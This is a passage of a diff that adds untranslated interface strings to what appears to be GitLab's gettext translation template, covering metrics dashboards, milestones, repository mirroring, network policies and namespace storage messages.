+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
+msgid "Metrics|Duplicating..."
+msgstr ""
+
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
+msgid "Metrics|Edit metric"
+msgid_plural "Metrics|Edit metrics"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Metrics|Expand panel"
+msgstr ""
+
+msgid "Metrics|For grouping similar metrics"
+msgstr ""
+
+msgid "Metrics|Invalid time range, please verify."
+msgstr ""
+
+msgid "Metrics|Label of the y-axis (usually the unit). The x-axis always represents time."
+msgstr ""
+
+msgid "Metrics|Legend label (optional)"
+msgstr ""
+
+msgid "Metrics|Link contains an invalid time window, please verify the link to see the requested time range."
+msgstr ""
+
+msgid "Metrics|Link contains invalid chart information, please verify the link to see the expanded panel."
+msgstr ""
+
+msgid "Metrics|Manage chart links"
+msgstr ""
+
+msgid "Metrics|Max"
+msgstr ""
+
+msgid "Metrics|Metrics Settings"
+msgstr ""
+
+msgid "Metrics|Min"
+msgstr ""
+
+msgid "Metrics|More actions"
+msgstr ""
+
+msgid "Metrics|Must be a valid PromQL query."
+msgstr ""
+
+msgid "Metrics|New metric"
+msgstr ""
+
+msgid "Metrics|Open repository"
+msgstr ""
+
+msgid "Metrics|Panel YAML"
+msgstr ""
+
+msgid "Metrics|Panel YAML copied"
+msgstr ""
+
+msgid "Metrics|Preview panel"
+msgstr ""
+
+msgid "Metrics|PromQL query is valid"
+msgstr ""
+
+msgid "Metrics|Prometheus Query Documentation"
+msgstr ""
+
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
+msgid "Metrics|Refresh dashboard"
+msgstr ""
+
+msgid "Metrics|Select a value"
+msgstr ""
+
+msgid "Metrics|Set refresh rate"
+msgstr ""
+
+msgid "Metrics|Star dashboard"
+msgstr ""
+
+msgid "Metrics|There was an error creating the dashboard."
+msgstr ""
+
+msgid "Metrics|There was an error creating the dashboard. %{error}"
+msgstr ""
+
+msgid "Metrics|There was an error fetching annotations. Please try again."
+msgstr ""
+
+msgid "Metrics|There was an error fetching the environments data, please try again"
+msgstr ""
+
+msgid "Metrics|There was an error getting annotations information."
+msgstr ""
+
+msgid "Metrics|There was an error getting dashboard validation warnings information."
+msgstr ""
+
+msgid "Metrics|There was an error getting deployment information."
+msgstr ""
+
+msgid "Metrics|There was an error getting environments information."
+msgstr ""
+
+msgid "Metrics|There was an error getting options for variable \"%{name}\"."
+msgstr ""
+
+msgid "Metrics|There was an error trying to validate your query"
+msgstr ""
+
+msgid "Metrics|There was an error while retrieving metrics"
+msgstr ""
+
+msgid "Metrics|There was an error while retrieving metrics. %{message}"
+msgstr ""
+
+msgid "Metrics|To create a new dashboard, add a new YAML file to %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
+msgstr ""
+
+msgid "Metrics|Unexpected deployment data response from prometheus endpoint"
+msgstr ""
+
+msgid "Metrics|Unit label"
+msgstr ""
+
+msgid "Metrics|Unstar dashboard"
+msgstr ""
+
+msgid "Metrics|Used as a title for the chart"
+msgstr ""
+
+msgid "Metrics|Used if the query returns a single series. If it returns multiple series, their legend labels will be picked up from the response."
+msgstr ""
+
+msgid "Metrics|Validating query"
+msgstr ""
+
+msgid "Metrics|Values"
+msgstr ""
+
+msgid "Metrics|View documentation"
+msgstr ""
+
+msgid "Metrics|View logs"
+msgstr ""
+
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
+msgid "Metrics|Y-axis label"
+msgstr ""
+
+msgid "Metrics|You can save a copy of this dashboard to your repository so it can be customized. Select a file name and branch to save it."
+msgstr ""
+
+msgid "Metrics|You're about to permanently delete this metric. This cannot be undone."
+msgstr ""
+
+msgid "Metrics|Your dashboard schema is invalid. Edit the dashboard to correct the YAML schema."
+msgstr ""
+
+msgid "Metrics|e.g. HTTP requests"
+msgstr ""
+
+msgid "Metrics|e.g. Requests/second"
+msgstr ""
+
+msgid "Metrics|e.g. Throughput"
+msgstr ""
+
+msgid "Metrics|e.g. rate(http_requests_total[5m])"
+msgstr ""
+
+msgid "Metrics|e.g. req/sec"
+msgstr ""
+
+msgid "Mi"
+msgstr ""
+
+msgid "Microsoft Azure"
+msgstr ""
+
+msgid "Middleman project with Static Site Editor support"
+msgstr ""
+
+msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
+msgid "Migrated %{success_count}/%{total_count} files."
+msgstr ""
+
+msgid "Migration has been scheduled to be retried"
+msgstr ""
+
+msgid "Migration successful."
+msgstr ""
+
+msgid "Milestone"
+msgid_plural "Milestones"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Milestone due date"
+msgstr ""
+
+msgid "Milestone lists not available with your current license"
+msgstr ""
+
+msgid "Milestone lists show all issues from the selected milestone."
+msgstr ""
+
+msgid "MilestoneCombobox|An error occurred while searching for milestones"
+msgstr ""
+
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
+msgid "MilestoneCombobox|Milestone"
+msgstr ""
+
+msgid "MilestoneCombobox|No matching results"
+msgstr ""
+
+msgid "MilestoneCombobox|No milestone"
+msgstr ""
+
+msgid "MilestoneCombobox|Project milestones"
+msgstr ""
+
+msgid "MilestoneCombobox|Search Milestones"
+msgstr ""
+
+msgid "MilestoneCombobox|Select milestone"
+msgstr ""
+
+msgid "MilestoneSidebar|Closed:"
+msgstr ""
+
+msgid "MilestoneSidebar|Copy reference"
+msgstr ""
+
+msgid "MilestoneSidebar|Due date"
+msgstr ""
+
+msgid "MilestoneSidebar|Edit"
+msgstr ""
+
+msgid "MilestoneSidebar|From"
+msgstr ""
+
+msgid "MilestoneSidebar|Issues"
+msgstr ""
+
+msgid "MilestoneSidebar|Merge requests"
+msgstr ""
+
+msgid "MilestoneSidebar|Merged:"
+msgstr ""
+
+msgid "MilestoneSidebar|New Issue"
+msgstr ""
+
+msgid "MilestoneSidebar|New issue"
+msgstr ""
+
+msgid "MilestoneSidebar|No due date"
+msgstr ""
+
+msgid "MilestoneSidebar|No start date"
+msgstr ""
+
+msgid "MilestoneSidebar|None"
+msgstr ""
+
+msgid "MilestoneSidebar|Open:"
+msgstr ""
+
+msgid "MilestoneSidebar|Reference:"
+msgstr ""
+
+msgid "MilestoneSidebar|Start date"
+msgstr ""
+
+msgid "MilestoneSidebar|Toggle sidebar"
+msgstr ""
+
+msgid "MilestoneSidebar|Until"
+msgstr ""
+
+msgid "MilestoneSidebar|complete"
+msgstr ""
+
+msgid "Milestones"
+msgstr ""
+
+msgid "Milestones| You’re about to permanently delete the milestone %{milestoneTitle} and remove it from %{issuesWithCount} and %{mergeRequestsWithCount}. Once deleted, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Milestones| You’re about to permanently delete the milestone %{milestoneTitle}. This milestone is not currently used in any issues or merge requests."
+msgstr ""
+
+msgid "Milestones|Close Milestone"
+msgstr ""
+
+msgid "Milestones|Completed Issues (closed)"
+msgstr ""
+
+msgid "Milestones|Delete milestone"
+msgstr ""
+
+msgid "Milestones|Delete milestone %{milestoneTitle}?"
+msgstr ""
+
+msgid "Milestones|Failed to delete milestone %{milestoneTitle}"
+msgstr ""
+
+msgid "Milestones|Group Milestone"
+msgstr ""
+
+msgid "Milestones|Milestone %{milestoneTitle} was not found"
+msgstr ""
+
+msgid "Milestones|No milestones found"
+msgstr ""
+
+msgid "Milestones|Ongoing Issues (open and assigned)"
+msgstr ""
+
+msgid "Milestones|Project Milestone"
+msgstr ""
+
+msgid "Milestones|Promote %{milestoneTitle} to group milestone?"
+msgstr ""
+
+msgid "Milestones|Promote Milestone"
+msgstr ""
+
+msgid "Milestones|Promote to Group Milestone"
+msgstr ""
+
+msgid "Milestones|Promoting %{milestoneTitle} will make it available for all projects inside %{groupName}. Existing project milestones with the same title will be merged."
+msgstr ""
+
+msgid "Milestones|Reopen Milestone"
+msgstr ""
+
+msgid "Milestones|This action cannot be reversed."
+msgstr ""
+
+msgid "Milestones|Unstarted Issues (open and unassigned)"
+msgstr ""
+
+msgid "Minimum capacity to be available before we schedule more mirrors preemptively."
+msgstr ""
+
+msgid "Minimum interval in days"
+msgstr ""
+
+msgid "Minimum password length (number of characters)"
+msgstr ""
+
+msgid "Minutes"
+msgstr ""
+
+msgid "Mirror direction"
+msgstr ""
+
+msgid "Mirror only protected branches"
+msgstr ""
+
+msgid "Mirror repository"
+msgstr ""
+
+msgid "Mirror settings are only available to GitLab administrators."
+msgstr ""
+
+msgid "Mirror user"
+msgstr ""
+
+msgid "Mirrored repositories"
+msgstr ""
+
+msgid "Mirroring repositories"
+msgstr ""
+
+msgid "Mirroring settings were successfully updated."
+msgstr ""
+
+msgid "Mirroring settings were successfully updated. The project is being updated."
+msgstr ""
+
+msgid "Mirroring was successfully disabled."
+msgstr ""
+
+msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
+msgstr ""
+
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
+msgid "Missing commit signatures endpoint!"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|Add SSH key"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|Don't show again"
+msgstr ""
+
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
+msgstr ""
+
+msgid "ModalButton|Add projects"
+msgstr ""
+
+msgid "Modal|Close"
+msgstr ""
+
+msgid "Modified"
+msgstr ""
+
+msgid "Modified in this version"
+msgstr ""
+
+msgid "Modify commit message"
+msgstr ""
+
+msgid "Modify commit messages"
+msgstr ""
+
+msgid "Modify merge commit"
+msgstr ""
+
+msgid "Monday"
+msgstr ""
+
+msgid "Monitor your errors by integrating with Sentry."
+msgstr ""
+
+msgid "Monitoring"
+msgstr ""
+
+msgid "Month"
+msgstr ""
+
+msgid "Months"
+msgstr ""
+
+msgid "More"
+msgstr ""
+
+msgid "More Information"
+msgstr ""
+
+msgid "More Information."
+msgstr ""
+
+msgid "More Slack commands"
+msgstr ""
+
+msgid "More actions"
+msgstr ""
+
+msgid "More details"
+msgstr ""
+
+msgid "More info"
+msgstr ""
+
+msgid "More information"
+msgstr ""
+
+msgid "More information and share feedback"
+msgstr ""
+
+msgid "More information is available|here"
+msgstr ""
+
+msgid "More information."
+msgstr ""
+
+msgid "More than %{number_commits_distance} commits different with %{default_branch}"
+msgstr ""
+
+msgid "Most relevant"
+msgstr ""
+
+msgid "Most stars"
+msgstr ""
+
+msgid "Mount point %{mounted_as} not found in %{model_class}."
+msgstr ""
+
+msgid "Move"
+msgstr ""
+
+msgid "Move down"
+msgstr ""
+
+msgid "Move issue"
+msgstr ""
+
+msgid "Move issue from one column of the board to another"
+msgstr ""
+
+msgid "Move selection down"
+msgstr ""
+
+msgid "Move selection up"
+msgstr ""
+
+msgid "Move test case"
+msgstr ""
+
+msgid "Move this issue to another project."
+msgstr ""
+
+msgid "Move up"
+msgstr ""
+
+msgid "MoveIssue|Cannot move issue due to insufficient permissions!"
+msgstr ""
+
+msgid "MoveIssue|Cannot move issue to project it originates from!"
+msgstr ""
+
+msgid "Moved issue to %{label} column in the board."
+msgstr ""
+
+msgid "Moved this issue to %{path_to_project}."
+msgstr ""
+
+msgid "Moves issue to %{label} column in the board."
+msgstr ""
+
+msgid "Moves this issue to %{path_to_project}."
+msgstr ""
+
+msgid "MrDeploymentActions|Deploy"
+msgstr ""
+
+msgid "MrDeploymentActions|Re-deploy"
+msgstr ""
+
+msgid "MrDeploymentActions|Stop environment"
+msgstr ""
+
+msgid "Multi-project"
+msgstr ""
+
+msgid "Multi-project Runners cannot be removed"
+msgstr ""
+
+msgid "Multiple HTTP integrations are not supported for this project"
+msgstr ""
+
+msgid "Multiple IP address ranges are supported."
+msgstr ""
+
+msgid "Multiple Prometheus integrations are not supported"
+msgstr ""
+
+msgid "Multiple domains are supported."
+msgstr ""
+
+msgid "Multiple model types found: %{model_types}"
+msgstr ""
+
+msgid "Multiple uploaders found: %{uploader_types}"
+msgstr ""
+
+msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
+msgstr ""
+
+msgid "Must match with the %{codeStart}geo_node_name%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "My Awesome Group"
+msgstr ""
+
+msgid "My company or team"
+msgstr ""
+
+msgid "My-Reaction"
+msgstr ""
+
+msgid "N/A"
+msgstr ""
+
+msgid "Name"
+msgstr ""
+
+msgid "Name can't be blank"
+msgstr ""
+
+msgid "Name has already been taken"
+msgstr ""
+
+msgid "Name new label"
+msgstr ""
+
+msgid "Name:"
+msgstr ""
+
+msgid "Namespace"
+msgstr ""
+
+msgid "Namespace ID:"
+msgstr ""
+
+msgid "Namespace is empty"
+msgstr ""
+
+msgid "Namespace:"
+msgstr ""
+
+msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked project"
+msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} project. To unlock it, please purchase additional storage"
+msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
+msgstr ""
+
+msgid "Namespaces"
+msgstr ""
+
+msgid "Namespaces to index"
+msgstr ""
+
+msgid "Naming, topics, avatar"
+msgstr ""
+
+msgid "Naming, visibility"
+msgstr ""
+
+msgid "Navigate to the project to close the milestone."
+msgstr ""
+
+msgid "Nav|Help"
+msgstr ""
+
+msgid "Nav|Home"
+msgstr ""
+
+msgid "Nav|Sign In / Register"
+msgstr ""
+
+msgid "Nav|Sign out and sign in with a different account"
+msgstr ""
+
+msgid "Need help?"
+msgstr ""
+
+msgid "Needs"
+msgstr ""
+
+msgid "Needs attention"
+msgstr ""
+
+msgid "Network"
+msgstr ""
+
+msgid "Network Policy|New rule"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}And%{labelEnd} %{spanStart}send an Alert to GitLab.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|+ Add alert"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml mode"
+msgstr ""
+
+msgid "NetworkPolicies|Actions"
+msgstr ""
+
+msgid "NetworkPolicies|Alerts are intended to be selectively used for a limited number of events that are potentially concerning and warrant a manual review. Alerts should not be used as a substitute for a SIEM or a logging tool. High volume alerts are likely to be dropped so as to preserve the stability of GitLab's integration with Kubernetes."
+msgstr ""
+
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
+msgstr ""
+
+msgid "NetworkPolicies|Choose whether to enforce this policy."
+msgstr ""
+
+msgid "NetworkPolicies|Create policy"
+msgstr ""
+
+msgid "NetworkPolicies|Define this policy's location, conditions and actions."
+msgstr ""
+
+msgid "NetworkPolicies|Delete policy"
+msgstr ""
+
+msgid "NetworkPolicies|Delete policy: %{policy}"
+msgstr ""
+
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
+msgid "NetworkPolicies|Description"
+msgstr ""
+
+msgid "NetworkPolicies|Edit policy"
+msgstr ""
+
+msgid "NetworkPolicies|Editor mode"
+msgstr ""
+
+msgid "NetworkPolicies|Enforcement status"
+msgstr ""
+
+msgid "NetworkPolicies|Environment does not have deployment platform"
+msgstr ""
+
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
+msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
+msgstr ""
+
+msgid "NetworkPolicies|Invalid or empty policy"
+msgstr ""
+
+msgid "NetworkPolicies|Kubernetes error: %{error}"
+msgstr ""
+
+msgid "NetworkPolicies|Last modified"
+msgstr ""
+
+msgid "NetworkPolicies|Name"
+msgstr ""
+
+msgid "NetworkPolicies|Namespace"
+msgstr ""
+
+msgid "NetworkPolicies|Network Policy"
+msgstr ""
+
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
+msgid "NetworkPolicies|New policy"
+msgstr ""
+
+msgid "NetworkPolicies|No policies detected"
+msgstr ""
+
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
+msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
+msgstr ""
+
+msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
+msgstr ""
+
+msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
+msgstr ""
+
+msgid "NetworkPolicies|Policy definition"
+msgstr ""
+
+msgid "NetworkPolicies|Policy description"
+msgstr ""
+
+msgid "NetworkPolicies|Policy editor"
+msgstr ""
+
+msgid "NetworkPolicies|Policy preview"
+msgstr ""
+
+msgid "NetworkPolicies|Policy status"
+msgstr ""
+
+msgid "NetworkPolicies|Policy type"
+msgstr ""
+
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
+msgid "NetworkPolicies|Rule mode"
+msgstr ""
+
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
+msgid "NetworkPolicies|Rules"
+msgstr ""
+
+msgid "NetworkPolicies|Save changes"
+msgstr ""
+
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgstr ""
+
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgstr ""
+
+msgid "NetworkPolicies|Status"
+msgstr ""
+
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
+msgid "NetworkPolicies|Unable to parse policy"
+msgstr ""
+
+msgid "NetworkPolicies|YAML editor"
+msgstr ""
+
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
+msgid "Never"
+msgstr ""
+
+msgid "New"
+msgstr ""
+
+msgid "New %{issueType}"
+msgstr ""
+
+msgid "New Application"
+msgstr ""
+
+msgid "New Branch"
+msgstr ""
+
+msgid "New Deploy Key"
+msgstr ""
+
+msgid "New Environment"
+msgstr ""
+
+msgid "New Epic"
+msgstr ""
+
+msgid "New File"
+msgstr ""
+
+msgid "New Group"
+msgstr ""
+
+msgid "New Group Name"
+msgstr ""
+
+msgid "New Identity"
+msgstr ""
+
+msgid "New Issue"
+msgid_plural "New Issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "New Jira import"
+msgstr ""
+
+msgid "New Label"
+msgstr ""
+
+msgid "New Milestone"
+msgstr ""
+
+msgid "New Pages Domain"
+msgstr ""
+
+msgid "New Password"
+msgstr ""
+
+msgid "New Pipeline Schedule"
+msgstr ""
+
+msgid "New Project"
+msgstr ""
+
+msgid "New Requirement"
+msgstr ""
+
+msgid "New Snippet"
+msgstr ""
+
+msgid "New Test Case"
+msgstr ""
+
+msgid "New User"
+msgstr ""
+
+msgid "New application"
+msgstr ""
+
+msgid "New branch"
+msgstr ""
+
+msgid "New branch unavailable"
+msgstr ""
+
+msgid "New changes were added. %{linkStart}Reload the page to review them%{linkEnd}"
+msgstr ""
+
+msgid "New confidential epic title "
+msgstr ""
+
+msgid "New confidential issue title"
+msgstr ""
+
+msgid "New deploy key"
+msgstr ""
+
+msgid "New directory"
+msgstr ""
+
+msgid "New discussion"
+msgstr ""
+
+msgid "New environment"
+msgstr ""
+
+msgid "New epic"
+msgstr ""
+
+msgid "New epic title"
+msgstr ""
+
+msgid "New file"
+msgstr ""
+
+msgid "New group"
+msgstr ""
+
+msgid "New group URL"
+msgstr ""
+
+msgid "New group name"
+msgstr ""
+
+msgid "New health check access token has been generated!"
+msgstr ""
+
+msgid "New identity"
+msgstr ""
+
+msgid "New issue"
+msgstr ""
+
+msgid "New issue title"
+msgstr ""
+
+msgid "New iteration"
+msgstr ""
+
+msgid "New iteration created"
+msgstr ""
+
+msgid "New label"
+msgstr ""
+
+msgid "New list"
+msgstr ""
+
+msgid "New merge request"
+msgstr ""
+
+msgid "New milestone"
+msgstr ""
+
+msgid "New password"
+msgstr ""
+
+msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgstr ""
+
+msgid "New project"
+msgstr ""
+
+msgid "New release"
+msgstr ""
+
+msgid "New requirement"
+msgstr ""
+
+msgid "New response for issue #%{issue_iid}:"
+msgstr ""
+
+msgid "New runner. Has not connected yet"
+msgstr ""
+
+msgid "New runners registration token has been generated!"
+msgstr ""
+
+msgid "New schedule"
+msgstr ""
+
+msgid "New snippet"
+msgstr ""
+
+msgid "New subgroup"
+msgstr ""
+
+msgid "New tag"
+msgstr ""
+
+msgid "New test case"
+msgstr ""
+
+msgid "New users set to external"
+msgstr ""
+
+msgid "New! Suggest changes directly"
+msgstr ""
+
+msgid "New..."
+msgstr ""
+
+msgid "Newest first"
+msgstr ""
+
+msgid "Newly registered users will by default be external"
+msgstr ""
+
+msgid "Next"
+msgstr ""
+
+msgid "Next commit"
+msgstr ""
+
+msgid "Next design"
+msgstr ""
+
+msgid "Next file in diff"
+msgstr ""
+
+msgid "Next unresolved discussion"
+msgstr ""
+
+msgid "Nickname"
+msgstr ""
+
+msgid "No"
+msgstr ""
+
+msgid "No %{header} for this request."
+msgstr ""
+
+msgid "No %{providerTitle} repositories found"
+msgstr ""
+
+msgid "No Epic"
+msgstr ""
+
+msgid "No Matching Results"
+msgstr ""
+
+msgid "No Scopes"
+msgstr ""
+
+msgid "No Tag"
+msgstr ""
+
+msgid "No active admin user found"
+msgstr ""
+
+msgid "No activities found"
+msgstr ""
+
+msgid "No application_settings found"
+msgstr ""
+
+msgid "No assignee"
+msgstr ""
+
+msgid "No authentication methods configured."
+msgstr ""
+
+msgid "No available branches"
+msgstr ""
+
+msgid "No available groups to fork the project."
+msgstr ""
+
+msgid "No branches found"
+msgstr ""
+
+msgid "No changes"
+msgstr ""
+
+msgid "No changes between %{source} and %{target}"
+msgstr ""
+
+msgid "No child epics match applied filters"
+msgstr ""
+
+msgid "No commits present here"
+msgstr ""
+
+msgid "No compliance frameworks are in use."
+msgstr ""
+
+msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgstr ""
+
+msgid "No confirmation email received? Please check your spam folder or"
+msgstr ""
+
+msgid "No connection could be made to a Gitaly Server, please check your logs!"
+msgstr ""
+
+msgid "No containers available"
+msgstr ""
+
+msgid "No contributions"
+msgstr ""
+
+msgid "No contributions were found"
+msgstr ""
+
+msgid "No credit card required."
+msgstr ""
+
+msgid "No data found"
+msgstr ""
+
+msgid "No data to display"
+msgstr ""
+
+msgid "No deployments found"
+msgstr ""
+
+msgid "No due date"
+msgstr ""
+
+msgid "No email participants were added. Either none were provided, or they already exist."
+msgstr ""
+
+msgid "No endpoint provided"
+msgstr ""
+
+msgid "No errors to display."
+msgstr ""
+
+msgid "No estimate or time spent"
+msgstr ""
+
+msgid "No file chosen."
+msgstr ""
+
+msgid "No file hooks found."
+msgstr ""
+
+msgid "No file selected"
+msgstr ""
+
+msgid "No files"
+msgstr ""
+
+msgid "No files found."
+msgstr ""
+
+msgid "No forks are available to you."
+msgstr ""
+
+msgid "No grouping"
+msgstr ""
+
+msgid "No issues found"
+msgstr ""
+
+msgid "No iteration"
+msgstr ""
+
+msgid "No iterations found"
+msgstr ""
+
+msgid "No iterations to show"
+msgstr ""
+
+msgid "No job log"
+msgstr ""
+
+msgid "No jobs to show"
+msgstr ""
+
+msgid "No label"
+msgstr ""
+
+msgid "No labels with such name or description"
+msgstr ""
+
+msgid "No license. All rights reserved"
+msgstr ""
+
+msgid "No matches found"
+msgstr ""
+
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
+msgid "No matching labels"
+msgstr ""
+
+msgid "No matching results"
+msgstr ""
+
+msgid "No matching results for \"%{query}\""
+msgstr ""
+
+msgid "No matching results..."
+msgstr ""
+
+msgid "No members found"
+msgstr ""
+
+msgid "No merge requests found"
+msgstr ""
+
+msgid "No messages were logged"
+msgstr ""
+
+msgid "No milestone"
+msgstr ""
+
+msgid "No milestones to show"
+msgstr ""
+
+msgid "No other labels with such name or description"
+msgstr ""
+
+msgid "No panels matching properties %{opts}"
+msgstr ""
+
+msgid "No parent group"
+msgstr ""
+
+msgid "No plan"
+msgstr ""
+
+msgid "No pods available"
+msgstr ""
+
+msgid "No policy matches this license"
+msgstr ""
+
+msgid "No preview for this file type"
+msgstr ""
+
+msgid "No prioritized labels with such name or description"
+msgstr ""
+
+msgid "No public groups"
+msgstr ""
+
+msgid "No ref selected"
+msgstr ""
+
+msgid "No related merge requests found."
+msgstr ""
+
+msgid "No repository"
+msgstr ""
+
+msgid "No required pipeline"
+msgstr ""
+
+msgid "No runner executable"
+msgstr ""
+
+msgid "No runners found"
+msgstr ""
+
+msgid "No schedules"
+msgstr ""
+
+msgid "No source selected"
+msgstr ""
+
+msgid "No stack trace for this error"
+msgstr ""
+
+msgid "No starrers matched your search"
+msgstr ""
+
+msgid "No start date"
+msgstr ""
+
+msgid "No tag selected"
+msgstr ""
+
+msgid "No template"
+msgstr ""
+
+msgid "No template selected"
+msgstr ""
+
+msgid "No test coverage"
+msgstr ""
+
+msgid "No triggers exist yet. Use the form above to create one."
+msgstr ""
+
+msgid "No vulnerabilities present"
+msgstr ""
+
+msgid "No webhooks found, add one in the form above."
+msgstr ""
+
+msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
+msgstr ""
+
+msgid "No. of commits"
+msgstr ""
+
+msgid "Nobody has starred this repository yet"
+msgstr ""
+
+msgid "Node was successfully created."
+msgstr ""
+
+msgid "Node was successfully updated."
+msgstr ""
+
+msgid "Nodes"
+msgstr ""
+
+msgid "Non-admin users can sign in with read-only access and make read-only API requests."
+msgstr ""
+
+msgid "None"
+msgstr ""
+
+msgid "None of the group milestones have the same project as the release"
+msgstr ""
+
+msgid "Not Implemented"
+msgstr ""
+
+msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
+msgstr ""
+
